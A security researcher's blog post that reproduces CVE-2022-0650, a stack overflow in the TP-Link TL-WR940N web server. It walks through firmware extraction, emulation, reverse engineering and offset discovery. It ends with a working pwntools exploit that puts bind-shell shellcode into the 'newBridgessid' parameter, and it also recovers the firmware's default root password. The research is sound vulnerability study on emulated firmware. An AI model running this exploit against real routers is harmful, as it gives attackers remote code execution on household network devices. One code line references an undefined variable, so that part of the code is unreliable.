Contents

CVE-2022-0650 Analysis & POC

Recently i was exploring Firmware analysis and iot exploitation domain out of curiosity , and it turned out to be very interesting to me. i spent a while studying Exploitation Basics , Solving Basic PWN & Reverse Engineering Challanges and Checking IOT Pentesting Course From FahemSec. I Spent days analyzing firmware and binaries in Ghidra and GDB and Finally I was able to reproduce couple of CVEs on TpLink Routers and even discover new ones!

In This Post i am analyzing the CVE-2022-0650 which as described a “TP-Link TL-WR940N httpd newBridgessid Stack-based Buffer Overflow Remote Code Execution Vulnerability”

This CVE has no public POC although it has been almost 3 years so i made one for it that executes a shell eventually.

Setting Up Environment

Getting Firmware

We don’t need to buy this specifc router to analyze/reproduce bugs , Most of TpLink Firmwares are public on their website to download. we can download that version from here.

after downloading it we got .bin file which is the firmware file. we can inspect the SquashFS system if we want by running

 binwalk -e fw.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
15120         0x3B10          LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 95708 bytes
131584        0x20200         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2589532 bytes

This will extract recognized embedded files automatically into _fw.bin.extracted and we can find squashfs-root which contains the file system. This will not be very helpful for our blog post but we can read the root shadow file and get the password as we will use it latter

cat etc/shadow  
root:$1$GTN.gpri$DlSyKvZKMR9A9Uj9e9wR3/:15502:0:99999:7:::

Searching the password online will find it is sohoadmin

Firmadyne Emulation

As we have the firmware binary file we can try emulate it with firmadyne tool From Repo it uses Qemu to emulate that image.

After setting it up and configure what needed as repo mentions , we can run the binary , 1 is the image id which will be 1 for your first image

firmadyne/scratch/1/run.sh 

Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 1000
Bringing up TAP device...
Adding route to 192.168.0.1...
Starting firmware emulation... use Ctrl-a + x to exit
[    0.000000] Linux version 2.6.39.4+ (ddcc@ddcc-virtual) (gcc version 5.3.0 (GCC) ) #2 Tue Sep 1 18:08:53 EDT 2020
[    0.000000] bootconsole [early0] enabled
[    0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[    0.000000] FPU revision is: 00739300
[    0.000000] Determined physical RAM map:
[    0.000000]  memory: 00001000 @ 00000000 (reserved)
[    0.000000]  memory: 000ef000 @ 00001000 (ROM data)
[    0.000000]  memory: 00678000 @ 000f0000 (reserved)
[    0.000000]  memory: 0f897000 @ 00768000 (usable)
[    0.000000] debug: ignoring loglevel setting.
[    0.000000] Wasting 60672 bytes for tracking 1896 unused pages
[    0.000000] Initrd not found or empty - disabling initrd
... 

and when it asks for password we will write the one we had before from shadow file.

after getting shell we will enable iptables and start services with rcS

iptables -F & iptables -P INPUT ACCEPT 
sh /etc/rc.d/rcS

we should be able to access router web portal now

┌──(mesbah㉿firmware)-[~/Desktop/firmadyne]
└─$ curl 192.168.0.1
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<HTML>
<HEAD><TITLE>TL-WR740N/TL-WR741ND</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<SCRIPT language="javascript" type="text/javascript"><!--
//--></SCRIPT>
<SCRIPT language="javascript" type="text/javascript">
var httpAutErrorArray = new Array(
3, 1, "http://192.168.0.1", 0,0 );
</SCRIPT>

<SCRIPT language="javascript" type="text/javascript">
if(window.parent != window)
{
        document.cookie = "Authorization=;path=/";
        window.parent.location.href = httpAutErrorArray[2];
}
</SCRIPT>
<script type="text/javascript" src="../login/encrypt.js" /></script>
<style type="text/css">

Locating Httpd Binary

The Firmware Binary file itself contains alot of data like filesystem , binaries ,services and more. we are analyzing those services/binaries , Logging into the webportal (default creds are admin:admin) will find the following URL Format :

  • NTOYIHJBBFEPWVDA is changed each time we login as it is related to session
http://192.168.0.1/NTOYIHJBBFEPWVDA/userRpm/Index.htm

If we searching in the squashFs files for what binaries might include that URI will find /usr/bin/httpd , that is not always the case you might find it in a directory contins web pages and you need to trace it back to find the binary. But for Tplink it is usually /usr/bin/httpd

──(mesbah㉿firmware)-[~/Desktop/_fw.bin.extracted/squashfs-root]
└─$ grep -ria 'Index.htm' .
/userRpm/BannerRpm.htm/userRpm/MainRpm.htm/userRpm/LogoutRpm.htmLogoutRpm/userRpm/MenuRpm.htmWzdStepOnlyBasic visibleMenuList"WzdStartRpm",
./usr/bin/httpd:window.parent.location.href = "%s/%s/userRpm/Index.htm";
*/*/Index.htm/images/*/fs/images/*/frames/*/fs/frames/*/dynaform/*/fs/dynaform/*/userRpm/*/

Drop the httpd Binary to Ghidra and start analysis.

Analyzing the Binary

The Advisory Contains “TP-Link TL-WR940N httpd newBridgessid Stack-based Buffer Overflow Remote Code Execution Vulnerability”

We have a place to start from , searching for newBridgessid we will find the following string which has a reference in FUN_0045b218

/assets/images/CVE-2022-0650/1.png

Inspecting The Function we can understand the root cause of the Bug , although strncpy is more safe than strcpy as it has additional parameter that specifies the length to copy from source to destination. in this code snippet the length is not the destination length instead it is the source length , source here is our parameter input “newBridgessid”

/assets/images/CVE-2022-0650/2.png

This means we can write on stack beyond the local variable specified length which can overwrite the RIP Eventually , side note in MIPs Architecture RIP is called PC :)

In Ghidra Traceback the function callers we will find


void httpWlanBasicCfgRpmsInit(void)

{
  menuItemListAdd("WlanNetworkRpm");
  httpRpmConfAdd(2,"/userRpm/WlanNetworkRpm.htm",&LAB_0045c6fc);
  httpRpmConfAdd(2,"/userRpm/WlanNetworkRpm_AP.htm",&LAB_0045c6f0);
  httpRpmConfAdd(2,"/userRpm/WlanNetworkRpm_APC.htm",&LAB_0045c6e4);
  unCheckRefererUrlAdd("/userRpm/popupSiteSurveyRpm.htm");
  unCheckRefererUrlAdd("/userRpm/popupSiteSurveyRpm_AP.htm");
  httpRpmConfAdd(2,"/userRpm/popupSiteSurveyRpm.htm",&LAB_0045d644);
  httpRpmConfAdd(2,"/userRpm/popupSiteSurveyRpm_AP.htm",&LAB_0045d638);
  return;
}

and we will find our function call here , so the page WlanNetworkRpm.htm is handled by that vulnerable function FUN_0045b218


void UndefinedFunction_0045c6fc(undefined4 param_1)

{
  FUN_0045b218(0,param_1);
  return;
}

One Thing Before Starting the Debgugging and POC Section , in the run.sh file for image emulation i added norandmaps in the Qemu Command to disable the ASLR.

Debugging and Overwriting PC

The page doesn’t seem to be accessed from the UI , but we can capture a valid request and add parameters as following

/assets/images/CVE-2022-0650/3.png

Setting up GDB

To be able to use GDB First we need to move gdb-server to the image first , we can do that easily by running scripts/mount.sh 1 and move it there and run scripts/umount.sh 1 to unmount it then run the image again.

Get the httpd process (last one in processes) and run the gdb server

./gdbserver-7.12-mips-be-stripped --attach :1234 813
Attached; pid = 813
Listening on port 1234

Now From Your machine connect to it and make a breakpoint on strncpy

sudo gdb-multiarch \
-ex "set architecture mips" \
-ex "set endian big" \
-ex "set follow-fork-mode parent" \
-ex "set detach-on-fork on" \
-ex "set auto-solib-add off" \
-ex "set solib-absolute-prefix /" \
-ex "break strncpy" \
-ex "target extended-remote 192.168.0.1:1234"

Overwriting PC

Now Sending a slightly large payload of “A” into that parameter

/assets/images/CVE-2022-0650/5.png

in GDB we can find the PC has been overwritten successfully

/assets/images/CVE-2022-0650/4.png

Now to get the offset will generate a pattern with cyclic and check its offset

pwndbg> cyclic -l 0x72616162
Finding cyclic pattern of 4 bytes: b'raab' (hex: 0x72616162)
Found at offset 168

Stack Analysis

Now Sending the payload "A"*168+"BBBB"+"C"*128+"DDDD" to confirm we control PC and check where rest of input is placed on stack.

/assets/images/CVE-2022-0650/6.png

we can confirm that we can control PC , also rest of payload is placed on stack and SP is pointing to it !

Checking NX on The binary to check if stack is exectuable , and it is

pwndbg> checksec
File:     /tmp/tmpppjkpr27/tmp3fys92c7
Arch:     mips
RELRO:      No RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x400000)
Stack:      Executable
RWX:        Has RWX segments

Our Payload Now Should be "A"*offset+RIP+Nops+shellcode , RIP should be the SP value so when execution reaches that it will execute the stack. as we disabled ASLR we can use the SP address 0x7dbffba0 as our new RIP in our payload.

POC For a Shell

As we are going to use pwntools and make TCP Connection , we need to use construct the HTTP Request OurSelves.

Example :

def update_wifi_config(token):
    url = f"http://192.168.0.1/{token}/userRpm/WlanNetworkRpm.htm"

    params = {
        "ssid1": "TP-LINK_B324_t", "ssid2": "TP-LINK_B324_2AAAAA", "ssid3": "TP-LINK_B324_3","ssid4": "TP-LINK_B324_4", "region": "101", "band": "0","mode": "5" ,"chanWidth": "2","channel": "15","ap": "1","broadcast": "2","brlssid": "","brlbssid": "","addrType": "1","keytype": "1","wepindex": "1","authtype": "1","keytext": "","newBridgessid": payload,"Save": "Save"
        }

    query_string = urlencode(params)
    path = f"/{token}/userRpm/WlanNetworkRpm.htm?{query_string}"

    headers = {
        "Host": host,
        "Cookie": "Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Referer": f"http://{host}/{token}/userRpm/MenuRpm.htm",
        "Connection": "close"
    }
    request_lines = [f"GET {path} HTTP/1.1"]
    print(path)
    for k, v in headers.items():
        request_lines.append(f"{k}: {v}")
    raw_request = "\r\n".join(request_lines) + "\r\n\r\n"
    io.send(raw_request.encode()) 
    print(io.recvuntil(b"</html>", timeout=2)) 
    io.close()

Now to generate the shellcode , we will use the shellcraft from the pwntools and choose bind shell type , we also need to not use the badchars while generation such as null byte and new lines.

So the payload is overflowing until PC , Using RSP address and some NOPs and Finally the shellcode.

context(arch='mips', endian='big', os='linux')

host = "192.168.0.1"
io = remote(host, 80)

nop = asm("addiu $a0, $a0, 0x4141") 
ra_addr = 0x7dbffba0 
avoid = b'\x00\x0a\x0d' + string.ascii_lowercase.encode()

shell = asm(shellcraft.bindsh(1337))

assert all(c not in avoid for c in read_shell)

payload  = b"A" * 168
payload += p32(ra_addr)
payload += nop * 10
payload += shell

Running the exploit , we successfuly got a shell

/assets/images/CVE-2022-0650/7.png

Check Full POC Online here